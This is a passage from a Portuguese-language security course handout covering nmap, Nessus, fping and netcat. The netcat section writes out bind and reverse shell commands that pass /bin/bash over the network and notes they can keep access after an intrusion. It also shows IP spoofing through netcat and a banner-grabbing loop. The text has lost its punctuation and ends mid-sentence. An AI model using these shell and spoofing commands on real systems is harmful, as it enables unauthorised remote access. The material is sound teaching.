diversas formas e paracircmetros a serem informados durante uma varredura Para obter o coacutedigo fonte eacute soacuteacessar o link abaixo e procurar por ldquoLatest Stable Version Tarballrdquohttpwwwinsecureorgnmap_downloadhtmlEste aplicativo possui os seguintes meacutetodos de varredura-sP ou Ping scan Algumas vezes eacute necessaacuterio saber se um determinado host ou rede estaacuteno ar Nmap pode enviar pacotes ICMP ldquoecho requestrdquo para verificar se determinado hostou rede estaacute ativa Hoje em dia existem muitos filtros que rejeitam os pacotes ICMPldquoecho requestrdquo entatildeo envia um pacote TCP ACK para a porta 80 (default) e caso recebaRST o alvo estaacute ativo A terceira teacutecnica envia um pacote SYN e espera um RST ouSYN-ACK-sR ou RCP scan Este meacutetodo trabalha em conjunto com vaacuterias teacutecnicas do Nmap Eleconsidera todas as portas TCP e UDP abertas e envia comandos NULL SunRPC paradeterminar se realmente satildeo portas RPC Eacute como se o comando ldquorpcinfo -prdquo estivessesendo utilizado mesmo atraveacutes de um firewall ( ou protegido por TCP wrappers )-sS ou TCP SYN scan Teacutecnica tambeacutem conhecida como ldquohalf-openrdquo pois natildeo abre umaconexatildeo TCP completa Eacute enviado um pacote SYN como se ele fosse uma conexatildeo reale aguarda uma resposta Caso um pacote SYN-ACK seja recebido a porta estaacute abertaenquanto um como resposta indica que a porta estaacute fechada A vantagem dessaabordagem eacute que poucos iratildeo detectar esse scanning de portas-sT ou TCP connect() scan Eacute a teacutecnica mais baacutesica de TCP scanning Eacute utilizada a chamadade sistema (system call) ldquoconnect()rdquo que envia um sinal as portas ativas Caso a portaProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 50 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005esteja aberta recebe como resposta ldquoconnect()rdquo Eacute um dos scan mais raacutepidos poreacutemfaacutecil de ser detectado-sU ou UDP scan Este meacutetodo eacute utilizado para determinar qual porta UDP estaacute aberta em umhost A teacutecnica consiste em enviar um pacote UDP de 0 byte para cada porta do host Sefor recebido uma mensagem ICMP ldquoport unreachablerdquo entatildeo a porta estaacute fechada senatildeo

a porta pode estar aberta Para variar um pouco a Microsoft ignorou a sugestatildeo da RFCe com isso a varredura de maacutequinas Windows eacute muito raacutepida-sV ou Version detection Apoacutes as portas TCP eou UDP serem descobertas por algum dosmeacutetodos o nmap iraacute determinar qual o serviccedilo estaacute rodando atualmente O arquivonmap-service-probes eacute utilizado para determinar tipos de protocolos nome da aplicaccedilatildeonuacutemero da versatildeo e outros detalhes-sF -sX -sN ou Stealth FIN Xmas Tree ou Null Alguns firewalls e filtros de pacotes detectampacotes SYNs em portas restritas entatildeo eacute necessaacuterio utilizar meacutetodos avanccedilados paraatravessar esses softwaresFIN Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes (Esse meacutetodo natildeo funciona com a plataforma Windowsuma vez que a Microsoft natildeo seguiu RFC 973)Xmas Tree Portas fechadas enviam um pacote RST como resposta a pacotes FINenquanto portas abertas ignoram esses pacotes As flags FIN URG e PUSH satildeo utilizados nopacotes FIN que eacute enviado ao alvo (Esse meacutetodo natildeo funciona com a plataforma Windows umavez que a Microsoft natildeo seguiu RFC 973)Null Portas fechadas enviam um pacote RST como resposta a pacotes FIN enquantoportas abertas ignoram esses pacotes Nenhuma flag eacute ligada no pacote FIN (Esse meacutetodo natildeofunciona com a plataforma Windows uma vez que a Microsoft natildeo seguiu RFC 973)Aleacutem destas o nmap possui outras opccedilotildees de uso geral das quais podemos destacar-D ltdecoy1 [decoy2][VOCE]gt Durante uma varredura utiliza uma seacuterie de endereccedilosfalsificados simulando que o scanning tenha originado desses vaacuterios hosts sendo praticamenteimpossiacutevel identifiicar a verdadeira origem da varreduranmap -D IP1IP2IP3IP4IP6SEU_IP alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 51 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F Procura pelas portas que estatildeo no etcservices Meacutetodo mais raacutepido poreacutem natildeoprocurar por todas as portasnmap -F alvo-I Se o host estiver utilizando o ident eacute possiacutevel identificar o dono dos serviccedilos que estatildeo

sendo executados no servidor (trabalha com a opccedilatildeo -sT)nmap -sT -I alvo-n Natildeo iraacute resolver nome de hosts a ser varridonmap -n alvo-O Ativa a identificaccedilatildeo do host remoto via TCPIP Iraacute apresentar versatildeo do SistemaOperacional e tempo ativonmap -O alvo-p ltlista_de_portasgt Especifica quais portas devem ser verificadas na varredura Pordefault todas as portas entre 1 e 1024 satildeo varridasnmap -p 2280 alvonmap -p U53111137T21-25801398080-P0 Natildeo tenta pingar o host antes de iniciar a varredura Isto permite varrer alvos quebloqueiam ICMP ldquoecho request (ou responses)rdquo atraveacutes de firewallnmap -P0 alvo-PS[lista_de_portas] Usa pacotes SYN para determinar se o host estaacute ativonmap -PS80 alvo-PT[lista_de_portas] Usa TCP ldquopingrdquo para determinar se o host estaacute ativonmap -PT80 alvo-R Iraacute resolver nome de hosts a ser varridonmap -R80 alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 52 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r A varredura seraacute feita nas portas randomicamente natildeo seguinte a ordem crescentenmap -r alvo-T ltParanoid|Sneaky|Polite|Normal|Aggressive|InsanegtEsse paracircmetro seta a prioridade de varredura do Nmap1048576 Paranoid (-T5) eacute muito lento na esperanccedila de prevenir a detecccedilatildeo pelo sistema IDSEste serializa todos os scans (scanning natildeo paralelo) e geralmente espera nomiacutenimo 5 minutos entre o envio de pacotes1048576 Sneaky (-T4) eacute similar ao Paranoid exceto que somente espera 15 segundos entre oenvio de pacotes1048576 Polite (-T3) tem o significado para facilitar a carga na rede e reduzir as chances detravar a maacutequina Ele serializa os testes e espera no miacutenimo 04 segundos entre eles1048576 Normal (-T2) eacute o comportamento default do Nmap o qual tenta executar tatildeo raacutepidoquanto possiacutevel sem sobrecarregar a rede ou perder hostsportas1048576 Aggressive(-T1) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 125 segundos para testar as respostas1048576 Insane (-T0) eacute somente adequando para redes muito raacutepidas ou onde vocecirc natildeo

se importa em perder algumas informaccedilotildees Nesta opccedilatildeo o timeout dos hostsacontecem em 75 segundos e espera somente 03 segundos por teste individual-ttl ltvalorgt Altera o valor do TTL (Time to Live) dessa forma dificulta a origem dopacotenmap -ttl 55 alvo-v Modo verbose Mostra tudo o que estaacute se passandonmap -v alvoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 53 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Para facilitar o processo de aprendizagem seguem alguns exemplo e utilizaccedilatildeonmap -v alvoEsta opccedilatildeo faz a varredura de todas as portas TCP reservadasnmap -sS -O alvoLanccedila uma varredura TCP Syn contra cada maacutequina que estaacute ativa abrangendo todasas 255 maacutequinas de classe ldquoCrdquo onde alvo faz parte Aleacutem disso determina o sistemaoperacional de cada hostnmap -sX -p 2253110143 alvoEnvia uma varredura Xmas Tree para o alvo aleacutem de varrer somente os serviccedilos desshd Dns pop3d e imapdProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 54 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 200592) NessusNessus eacute uma ferramenta para auditoria de seguranccedila Com ele eacute possiacutevel verificar variasvulnerabilidades em sua rede O nessus permite que se faccedila isso de uma forma segura nao permitindo queusuaacuterios natildeo autorizados possam scanear sua rede com ele Ele eacute composto por duas partes sendo umcliente e um servidor Pode-se usaacute-lo a partir do windowscopy poreacutem isso natildeo seraacute abordado nesse artigoEle possui uma seacuterie de recursos bastante interessantes como trabalhar em conjunto com o nmap etambeacutem a possibilidade de atualizaccedilatildeo apenas baixando novos plugins de ataques eou vulnerabilidades ONessus foi criado em 1998 por Renaud Deraison sendo que naquela eacutepoca o melhor security scanner era oSATAN ( que se encontrava bastante desatualizado ) Deraison resolveu dividir o sistema em pluginsfacilitando muito a atualizaccedilatildeo e a prevenccedilatildeo contra novos ataques A partir da versatildeo 100 foi criado umscript que automaticamente atualiza o plugins para que o nessus possa detectar uma nova vulnerabilidade eassim sugerir uma forma ou explicaccedilatildeo para corrigi-la

O nessus possui uma GUI muito flexiacutevel onde vocecirc configura vaacuterios detalhes de varredura na suarede Nela pode-se configurar quais plugins( ataques ) usar e os hosts(targets) que seratildeo scanneadosPrimeiramente rode o nessus cliente bastando para isso digitar nessus na linha de comando Ele pediraacuteentao a senha que vocecirc configurou inicialmente Vamos abordar agora quais satildeo as opccedilotildees deconfiguraccedilatildeo do cliente nessusNessus host nesta aba de configuraccedilatildeo vocecirc deve especificar o endereccedilo ip do daemon nessus etambeacutem a porta tcp em que ele estaacute rodando (geralmente 1241) Nesta tela tambeacutem eacute possiacutevel optar peloalgoritmo de criptografia que seraacute usado Tambeacutem eacute preciso especificar o nome do usuaacuterio para logar nodaemonPlugins Aqui reside todo o poder do nessus nesta aba se encontram as exploraccedilotildees (exploits) dasvulnerabilidades conhecidas em forma de plugins O nessus se vale destes plugins para avaliar asvulnerabilidades do sistema scanneadoPrefs Satildeo especificados valores como usuaacuterios e senhas de serviccedilos como ftp pop imap e smbDe porte desses dados o nessus pode fazer verificaccedilotildees muito mais eficitentes nos seus hosts jaacute quealguns exploits pressupotildeem que o explorador possui uma conta vaacutelida de algum desses serviccedilos Tambeacutemeacute possiacutevel configurar o tipo de scan que seraacute usado pelo nmap ( caso possua )Scan Option -gt Aqui pode-se especificar as portas que seratildeo scaneadas pelo nessus use virgulapara portas individuais e hiacutefen para intervalos(80110443-1024) No caso de utilizar o nessus para scanearservidores web eacute bastante interessante especificar o path ou caminho dos CGIs no seu servidor PorProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 55 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005exemplo se vocecirc especificar o path cgi-bin para o nessus procuraraacute por CGIs exploitaacuteveis emhttphostcgi-binTarget Selection Preencha o uacutenico campo desta aba para especificar as maacutequinas que seratildeoscaneadas Clicando no botatildeo Read file vocecirc especifica um arquivo onde estatildeo o endereccedilos IP dasmaacutequinas a serem verificadasUser Aqui estatildeo suas informacotildees pessoais como a chave que deve ser usada e tambeacutem pode-setrocar a sua senha do nessusAbaixo temos as principais telas deste aplicativo( Aba Host) (Aba Plugins)

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a 